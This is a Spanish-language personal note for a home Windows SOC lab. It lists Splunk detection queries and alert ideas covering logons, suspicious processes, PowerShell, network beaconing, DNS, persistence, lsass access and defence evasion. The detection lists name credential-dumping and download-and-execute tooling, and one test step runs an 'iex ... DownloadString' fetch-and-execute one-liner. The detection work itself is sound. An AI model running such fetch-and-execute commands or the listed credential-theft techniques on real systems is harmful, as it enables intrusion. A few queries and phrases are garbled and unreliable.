Sammi Notes

Properties1
tagsdocumentation

11 - Busquedas SOC y Casos de Uso

Guía de queries SPL listas para copy-paste en Splunk Web (http://127.0.0.1:8000) sobre los índices win_* de este PC (POISONXploIT / Windows 11 Education x64 / Sysmon + UF + hardening logging activo).

Convenciones del documento:

  • index=win_* —usa siempre el índice concreto para mejor rendimiento.
  • Time picker recomendado: Last 24h o Last 7 days salvo que se indique otro.
  • EventCode/EventID numérico — Splunk TA normaliza a EventCode (WinEventLog) pero con renderXml=true puede ser EventID en Sysmon. Probar ambos si una query no retorna.

1. Estado y salud del pipeline

1.1 Volumen por índice (¿llega todo?)

| tstats count where index=win_* OR index=_internal by index
| sort -count

1.2 Último evento por fuente

| tstats latest(_time) as last_event where index=win_* by index,sourcetype
| convert ctime(last_event) timeformat="%Y-%m-%d %H:%M:%S"
| sort -last_event

1.3 Forwarder conectado al indexer

index=_internal source=*metrics.log group=tcpout
| stats count latest(_time) by host,fwdip

1.4 Eventos Sysmon llegando (EID esperados)

index=win_sysmon
| stats count by EventID
| sort -count

Deberías ver EIDs: 1 (ProcessCreate), 3 (NetworkConnect), 7 (ImageLoaded), 8 (RemoteThread), 11 (FileCreate), 22 (DNS), 23 (FileDelete).

⚠ Si no ves 22 (DNS Query), la config de Sysmon no tiene DnsQuery rule. Despliega SwiftOnSecurity/Olaf Hartong (ver 07 - Hardening Logging SOC > 4. Despliegue Sysmon (opcional, recomendado)).

2. Autenticación y sesiones

2.1 Logins exitosos

index=win_security EventCode=4624
| stats count by _time,Account_Name,Logon_Type,IpAddress,WorkstationName
| sort -_time

Logon_Type cheatsheet: 2=Interactive, 3=Network, 4=Batch, 5=Service, 7=Unlock, 8=NetworkCleartext, 9=NewCredentials, 10=RemoteInteractive(RDP), 11=CachedInteractive.

2.2 Logins fallidos (fuerza bruta)

index=win_security EventCode=4625
| bucket _time span=5m
| stats count as fails, dc(Account_Name) as unique_users, values(Account_Name) as attempted_users
  by _time,IpAddress
| where fails > 10
| sort -fails

2.3 Logins con cuenta de privilege (Special Logon = EID 4672)

index=win_security EventCode=4672
| table _time Account_Name Privileges
| sort -_time

2.4 Logon interactivo fuera de horario laboral (22:00 - 06:00)

index=win_security EventCode=4624 Logon_Type=2 OR Logon_Type=10
| eval hour=strftime(_time,"%H")
| where hour >= 22 OR hour < 6
| table _time Account_Name Logon_Type WorkstationName IpAddress
| sort -_time

2.5 Sesiones RDP inbound a este PC

index=win_rdp (EventCode=21 OR EventCode=22 OR EventCode=25)
| table _time User SessionID SourceNetworkAddress
| sort -_time

Combinar con Sysmon EID 10 (ProcessAccess a lsass.exe) para detectar credential dumping tras RDP.

3. Procesos y ejecución de binarios

3.1 Top procesos creados (Sysmon EID 1)

index=win_sysmon EventID=1
| stats count by Image
| sort -count
| head 20

3.2 Procesos con padres sospechosos (patrones de attack chain)

index=win_sysmon EventID=1
| search (
    ParentImage="*WINWORD.exe" OR
    ParentImage="*EXCEL.EXE" OR
    ParentImage="*OUTLOOK.EXE" OR
    ParentImage="*acrord32.exe" OR
    ParentImage="*mshta.exe" OR
    ParentImage="*wscript.exe" OR
    ParentImage="*cscript.exe"
  )
  AND (
    Image="*powershell.exe" OR
    Image="*cmd.exe" OR
    Image="*wscript.exe" OR
    Image="*cscript.exe" OR
    Image="*mshta.exe" OR
    Image="*rundll32.exe" OR
    Image="*regsvr32.exe" OR
    Image="*certutil.exe" OR
    Image="*bitsadmin.exe"
  )
| table _time Image ParentImage CommandLine ParentCommandLine Hashes
| sort -_time

3.3 PowerShell ejecutado (4688 con CommandLine)

index=win_security EventCode=4688 CommandLine="*powershell*"
| table _time NewProcessName CommandLine CreatorProcessName
| sort -_time

3.4 Command lines con signos de obfuscación/encoded

index=win_sysmon EventID=1 (CommandLine="*powershell*" OR CommandLine="*cmd.exe*")
| search (
    CommandLine="*-EncodedCommand*" OR
    CommandLine="*-e *bash*" OR
    CommandLine="*FromBase64String*" OR
    CommandLine="*IEX*" OR
    CommandLine="*DownloadString*" OR
    CommandLine="*Invoke-Expression*" OR
    CommandLine="*~*" OR
    CommandLine="*\\\\*\\\\*\\\\*"
  )
| table _time Image CommandLine ParentImage
| sort -_time

3.5 LOLBins (living-off-the-land binaries)

index=win_sysmon EventID=1
| search (
    Image="*mshta.exe" OR
    Image="*regsvr32.exe" OR
    Image="*rundll32.exe" OR
    Image="*certutil.exe" OR
    Image="*bitsadmin.exe" OR
    Image="*msiexec.exe" OR
    Image="*forfiles.exe" OR
    Image="*scriptrunner.exe" OR
    Image="*syncappvpublishingserver.exe"
  )
| table _time Image CommandLine ParentImage
| sort -_time

3.6 Ejecución desde carpetas inusuales (no Program Files / System32)

index=win_sysmon EventID=1
| eval suspicious_dir=if(match(Image,"(?i)(C:\\\\Users\\\\.*\\\\AppData\\\\Local\\\\Temp|C:\\\\Users\\\\.*\\\\Downloads|C:\\\\Windows\\\\Temp|\\\\\\\\\\\\\\\\.*\\\\)"),1,0)
| where suspicious_dir=1
| table _time Image CommandLine ParentImage CurrentDirectory
| sort _time

3.7 Hashes conocidos maliciosos (名单 manual o threat intel)

index=win_sysmon EventID=1
| search (
    Hashes="*SHA1=BADHASH123*" OR
    Hashes="*SHA256=ANOTHERBADHASH*"
  )
| table _time Image CommandLine Hashes

Recomendado integrar Threat Intel: instalar app Splunk Threat Intelligence y usar lookup threat_intel_lookup.

4. PowerShell Malicioso

4.1 ScriptBlock Logging 4104 con patrones peligrosos

index=win_powershell EventCode=4104
| search (
    ScriptBlockText="*IEX*" OR
    ScriptBlockText="*Invoke-Expression*" OR
    ScriptBlockText="*DownloadString*" OR
    ScriptBlockText="*DownloadFile*" OR
    ScriptBlockText="*FromBase64String*" OR
    ScriptBlockText="*-EncodedCommand*" OR
    ScriptBlockText="*System.Reflection.Assembly*" OR
    ScriptBlockText="*Invoke-Mimikatz*" OR
    ScriptBlockText="*PowerSploit*" OR
    ScriptBlockText="*Invoke-Shellcode*" OR
    ScriptBlockText="*Invoke-WMICommand*"
  )
| table _time ScriptBlockText Path
| sort -_time

4.2 PowerShell con ExecutionPolicy bypass

index=win_powershell EventCode=4104
| search ScriptBlockText="*-ExecutionPolicy Bypass*" OR ScriptBlockText="*-ExecutionPolicy Unrestricted*"
| table _time ScriptBlockText
| sort -_time

4.3 PowerShell con AMSI bypass attempt (común in malware moderno)

index=win_powershell EventCode=4104
| search ScriptBlockText="*amsi*" OR ScriptBlockText="*AMSIInitFailed*" OR ScriptBlockText="*System.Management.Automation.AmsiUtils*"
| table _time ScriptBlockText

4.4 Web request desde PowerShell (descarga de payload)

index=win_powershell EventCode=4104
| search (
    ScriptBlockText="*Net.WebClient*" OR
    ScriptBlockText="*Invoke-WebRequest*" OR
    ScriptBlockText="*iwr *" OR
    ScriptBlockText="*curl *" OR
    ScriptBlockText="*wget *"
  )
| table _time ScriptBlockText
| sort -_time

4.5 PowerShell llamado por proceso no esperado (no winlogon, no explorer)

index=win_sysmon EventID=1 Image="*powershell.exe"
| where NOT match(ParentImage,"(?i)(explorer.exe|winlogon.exe|LogonUI.exe|MpCmdRun.exe)")
| table _time ParentImage CommandLine Hashes
| sort -_time

5. Red y conexiones

5.1 Top destinos IP:puerto

index=win_sysmon EventID=3
| stats count by DestinationIp,DestinationPort,Image
| sort -count
| head 30

5.2 Conexiones a puertos no estándar (no 80/443/53/123)

index=win_sysmon EventID=3
| where NOT in(DestinationPort,"80","443","53","123","0")
| stats count by DestinationIp,DestinationPort,Image
| sort -count

5.3 Conexiones a IPs sin DNS (posible C2 hardcoded)

index=win_sysmon EventID=3
| join DestinationIp [
    search index=win_sysmon EventID=22
    | stats dc(QueryName) by DestinationIp
    | where dc(QueryName)=0
  ]
| table _time Image DestinationIp DestinationPort

5.4 Conexión desde proceso inusual (no browser/system)

index=win_sysmon EventID=3
| where NOT match(Image,"(?i)(chrome.exe|msedge.exe|firefox.exe|svchost.exe|lsass.exe|System|explorer.exe|SearchProtocolHost.exe)")
| stats count by Image,DestinationIp,DestinationPort
| sort -count
| head 50

5.5 Beaconing (conexiones regulares a misma IP:puerto)

index=win_sysmon EventID=3
| bucket _time span=1m
| stats count as hits by DestinationIp,DestinationPort,_time
| stats avg(hits) as avg_hits, stdev(hits) as std_hits, count as samples
  by DestinationIp,DestinationPort
| where samples > 10 AND std_hits < 1.5
| sort -samples

6. Actividad DNS

6.1 Top dominios resueltos

index=win_sysmon EventID=22
| stats count by QueryName
| sort -count
| head 30

6.2 Dominios con TLD sospechosos

index=win_sysmon EventID=22
| eval tld=mvindex(split(QueryName,"."),-1)
| where tld IN ("ru","cn","kp","ir","xyz","top","click","country","bid","stream","gq","ml","cf","tk")
| stats count by QueryName,tld
| sort -count

6.3 Long subdomain (DGA-like)

index=win_sysmon EventID=22
| eval label_len=if(len(QueryName)>30,1,0)
| where label_len=1
| eval tld=mvindex(split(QueryName,"."),-1)
| table _time QueryName tld
| sort -_time

6.4 Consultas por procesos fuera del navegador

index=win_sysmon EventID=22
| where NOT match(Image,"(?i)(chrome.exe|msedge.exe|firefox.exe|svchost.exe)")
| stats dc(QueryName) as unique_qdns, values(QueryName) as qdns
  by Image
| sort -unique_qdns

7. Persistencia

7.1 Nuevas tareas programadas (TaskScheduler)

index=win_tasks (EventCode=200 OR EventCode=201)
| table _time ActionName TaskName User
| sort -_time

7.2 Registro de startup (Run/RunOnce) — FIM monitor

index=win_sysmon EventID=12 OR EventID=13 OR EventID=14
| search EventType="SetValue" TargetObject="*CurrentVersion\\\\Run*" OR TargetObject="*CurrentVersion\\\\RunOnce*"
| table _time EventType TargetObject Details Image
| sort -_time

7.3 WMI Event Subscription (Filter/Consumer/ToFilter)

index=win_wmi EventCode=1295 OR EventCode=1296 OR EventCode=1297
| table _time User ClassName

O con Sysmon EID 19/20/21:

index=win_sysmon (EventID=19 OR EventID=20 OR EventID=21)
| table _time EventType Operation Name

7.4 Servicios creados/modificados

index=win_sysmon EventID=12 OR EventID=13
| search (TargetObject="*CurrentVersion\\\\Services\\\\*" OR TargetObject="*SYSTEM\\\\CurrentControlSet\\\\Services\\\\*")
| where EventType="SetValue"
| table _time TargetObject Details

7.5 Image File Execution Options (Debugger hijack)

index=win_sysmon (EventID=12 OR EventID=13)
| search TargetObject="*Image File Execution Options*" Debugger=*
| table _time TargetObject Details

8. Credential access y privilege escalation

8.1 Acceso a lsass.exe (credential dumping)

index=win_sysmon EventID=10 TargetImage="*lsass.exe"
| stats count by SourceImage GrantedAccess
| sort -count

GrantsKnown:

  • 0x1410 (VM_READ | VM_WRITE | VM_OPERATION | QUERY_INFORMATION) — mimikatz signature.
  • 0x1010 — sharper careful minimization.

8.2 Procesos con granted access sospechoso a proceso privilegio

index=win_sysmon EventID=10
| where NOT match(SourceImage,"(?i)(svchost.exe|wininit.exe|csrss.exe|services.exe|taskhostw.exe|spoolsv.exe|MsMpEng.exe)")
| table _time SourceImage TargetImage GrantedAccess
| sort -_time

8.3 Mimikatz signature patterns (comando)

index=win_sysmon EventID=1 Image="*sekurlsa*" OR CommandLine="*sekurlsa*" OR CommandLine="*lsadump*"

9. Defensa y evasión

9.1 Windows Defender detections

index=win_defender (EventCode=1116 OR EventCode=1117)
| table _time ThreatName Path ProcessName InitialDetectionDateTime
| sort -_time

9.2 Defender deshabilitado o modificado

index=win_sysmon (EventID=12 OR EventID=13)
| search TargetObject="*Windows Defender*"
| table _time TargetObject Details
| sort -_time

Sospecha: DisableAntiSpyware=1, DisableRealtimeMonitoring=1, TamperProtection=0.

9.3 Event logcleared (cobalt strike / cover tracks)

index=win_security EventCode=1102
| table _time Account_Name ComputerName
index=win_sysmon EventID=4
| table _time Image

9.4 Disabling/escalation de firewall

index=win_sysmon (EventID=12 OR EventID=13)
| search TargetObject="*EnableFirewall*" Details="*0*"
| table _time TargetObject Details Image

10. Files y filesystem

10.1 Archivos creados en carpeta temporal con extensión ejecutable

index=win_sysmon EventID=11
| search TargetFilename="*.exe" OR TargetFilename="*.dll" OR TargetFilename="*.ps1" OR TargetFilename="*.bat"
| search TargetFilename="*\\\\Temp\\\\*" OR TargetFilename="*\\\\AppData\\\\Local\\\\Temp\\\\*"
| table _time TargetFilename Image
| sort -_time

10.2 Cambios en archivos críticos (FIM)

index=win_fim
| stats count by source_host,sourcetype,computer_name
| sort -count

Sospecha: cambios en C:\Windows\System32\drivers\etc\hosts DNS hijacking.

10.3 Creación de DLL side-loading (mismo nombre que binario legit en ruta no estándar)

index=win_sysmon EventID=7
| where NOT match(ImageLoaded,"(?i)(C:\\\\Windows\\\\System32|C:\\\\Windows\\\\SysWOW64|C:\\\\Program Files|C:\\\\Program Files \(x86\))")
| stats count by Image,ImageLoaded
| sort -count
| head 30

11. Lateral movement (en este PC como víctima)

11.1 RDP inbound y proceso en session

index=win_rdp EventCode=21
| join user [
    search index=win_sysmon EventID=1
    | stats count by User,Image
  ]
| table _time user Image SourceNetworkAddress

11.2 WMI inbound (EID 4624 Logon_Type=3 + proceso wmiprvse.exe padre)

index=win_security EventCode=4624 Logon_Type=3
| join Account_Name [
    search index=win_sysmon EventID=1 ParentImage="*WmiPrvSE.exe"
    | stats count by User,Image,CommandLine
  ]
| table _time Account_Name Source_Network_Address Image CommandLine

11.3 PsExec / SvcExec signatures

index=win_sysmon EventID=1
| search (Image="*PSEXESVC.exe" OR CommandLine="*PSEXESVC*" OR CommandLine="*\\\\\\\\.*\\\\ADMIN\\\\*")
| table _time Image CommandLine ParentImage

11.4 SMB admin share mounts (C)

index=win_security EventCode=5140
| search ShareName="\\\\ADMIN\\\\$" OR ShareName="\\\\C\\\\$"
| table _time Account_Name IpAddress ShareName
| sort -_time

12. Trend y baseline (anomaly detection)

12.1 Procesos nuevos del día (que not existed before)

index=win_sysmon EventID=1 earliest=-1d@d latest=now
| stats count by Image
| lookup previously_seen_processes Image OUTPUT first_seen
| where isnull(first_seen)
| table Image count
| sort -count

Sin lookup alternativo: comparar listado con last 7 days < last 7 days@7d:

index=win_sysmon EventID=1 earliest=-1d latest=now
| stats count by Image
| append [
    search index=win_sysmon EventID=1 earliest=-30d latest=-1d
    | stats count by Image | eval seen_before=1
  ]
| stats values(seen_before) as old, sum(count) as total by Image
| where isnull(old) OR old!=1
| sort -total

12.2 Top users por volumen de proceso creado

index=win_sysmon EventID=1
| stats count by User
| sort -count
| head 10

12.3 Variación de baseline de tráfico por hora

index=win_sysmon EventID=3
| bucket _time span=1h
| stats count by _time,Image
| eventstats avg(count) as avg_by_proc by Image
| eval deviation=abs(count-avg_by_proc)
| where deviation > 3*avg_by_proc
| sort -deviation

13. Performance y health del host

13.1 Pico sostenido de CPU (potencial cryptominer)

index=win_perfmon counter="% Processor Time"
| where load > 80
| bucket _time span=5m
| stats avg(load) as avg_cpu by _time
| where avg_cpu > 80
| sort -_time

13.2 Relleno rápido de disco (potencial ransomware)

index=win_perfmon counter="% Free Space"
| bucket _time span=10m
| stats latest(value) as cur, earliest(value) as prev by _time,instance
| eval delta = (cur - prev)
| where delta < -5
| sort delta

13.3 Memoria committed subiendo

index=win_perfmon counter="Committed Bytes"
| timechart avg(value) by instance

14. Cuadro de mando SOC (sugerido)

Crear dashboards en Splunk Web: Search & Reporting → Dashboards → New.

Panels recomendados:

  1. Authentication Overview — queries 2.1, 2.2, 2.3 (última 1h).
  2. Suspicious Processes — queries 3.2, 3.4, 3.5, 3.6 (última 24h).
  3. Network Egress — queries 5.1, 5.4, 5.5.
  4. DNS Anomalies — queries 6.2, 6.3, 6.4.
  5. Persistence Hunters — queries 7.1, 7.2, 7.3, 7.5.
  6. Credential Access — 8.1, 8.2.
  7. Defender Evasion — 9.1, 9.2, 9.3, 9.4.
  8. Performance Anomalies — 13.1, 13.2.
  9. Pipeline Health — queries 1.1, 1.2, 1.4.

Generación automática: Save As → Dashboard Panel desde cada búsqueda.

15. Alertas recomendadas (Saved Searches con trigger)

NombreCronSPL coreAcción
Brute force logincada 5 minquery 2.2Email + webhook SIEM
PowerShell encodedcada 10 minquery 4.1Email
lsass accesscada 10 minquery 8.1Email (high priority)
Defender tamperingcada 30 minquery 9.2 — Details="*Disable*"Email (critical)
Logs clearedrealtimequery 9.3 EID=1102Email + SOAR trigger
Suspicious child of Officecada 10 minquery 3.2Email
DNS anomalous TLDcada 30 minquery 6.2Slack webhook

Configuración: desde la SPL → Save As → Alert → trigger → action list.

16. SCHEMA / Cheat sheet

Salt output field (post-TA parser)

SourceField convenciónEjemplo
WinEventLog SecurityEventCode, Account_Name, Logon_Type, Source_Network_AddressE.4624
WinEventLog SysmonEventID, Image, CommandLine, ParentImage, Hashes, DestinationIpE.1
WinEventLog PowerShellEventCode, ScriptBlockText, PathE.4104
WinEventLog TaskSchedulerEventCode, TaskName, ActionNameE.200/201
WinEventLog DefenderEventCode, Threat Name, Path, Process NameE.1116/1117
Perfmoncounter, instance, valuesee query 13.x

Notas: Cuando Splunk TA está instalado, los fields pasan a CIM (user, dest, src, process, signature, action etc.). Las queries anteriores usan fields “raw” del WinEventLog XML — pedirán el TA. Ver Arquitectura.

Time modifiers útiles

  • earliest=-1h@h latest=now → última hora truncada.
  • earliest=-7d@d latest=now
  • earliest=@d latest=now → desde medianoche.

Comandos SPL imprescindibles

  • tstats (sobre metadata) — acelerado con CIM.
  • stats, eventstats, streamstats — agregación.
  • lookup — enriquecimiento con threat-intel.
  • join (sparingly — costoso).
  • append — combinar búsquedas.
  • map — iteración sobre rows.
  • cluster — grouping.
  • regex, where match() — regex en fields.
  • lookup + inputlookup — tablas estáticas/KV Store.

17. Tests funcionales para validar queries en este PC

Genera eventos de prueba y observa llegan a Splunk:

Test PowerShell ScriptBlock

powershell -Command "iex (New-Object Net.WebClient).DownloadString('http://example.com/test')"

Búsqueda:

index=win_powershell EventCode=4104 ScriptBlockText="*DownloadString*"

Test PsExec parent (simula office->powershell)

No simulemos malware real, pero crea:

notepad.exe & powershell -Command "Write-Host test-soc-query"

T luego:

index=win_sysmon EventID=1 Image="*powershell.exe" CommandLine="*test-soc-query*"

Test proceso en carpeta inusual

mkdir C:\Users\Sammi\Downloads\test_soc 2>$null
copy $env:WINDIR\System32\notepad.exe C:\Users\Sammi\Downloads\test_soc\notepad.exe
C:\Users\Sammi\Downloads\test_soc\notepad.exe

Búsqueda:

index=win_sysmon EventID=1 Image="*Downloads\\\\test_soc\\\\notepad.exe"

Test FIM hosts

Add-Content C:\Windows\System32\drivers\etc\hosts "0.0.0.0 malicious.example.com"

Búsqueda:

index=win_fim source_host="*hosts*" | table _time _raw | sort -_time

Test DNS query (wait + ver EID 22)

nslookup spoofed.example.xyz

Búsqueda:

index=win_sysmon EventID=22 QueryName="spoofed.example.xyz"

Próximos pasos para niveau avanzado

  • Instalar Splunk Security Essentials (app con 1000+ detecciones listas y framework CIM-aligned)
  • Instalar Splunk Common Information Model (CIM) y habilitar acceleration para Endpoint y Authentication
  • Importar ES Content (SOC Optix) si tienes Enterprise Security
  • Integrar VirusTotal/Ti lookups via lookup + script
  • Desplegar config de Sysmon actualizada (SwiftOnSecurity u Olaf Hartong sysmon-modular)
  • Configurar alertas de las queries de la sección 15
  • Crear dashboards SOC por Sections 14
  • Para detección de beaconing avanzada usar el $ Range技術 App si precisa

Volver a: 00 - MOC Monitorización PC Local

Vista Gráfica

Retroenlaces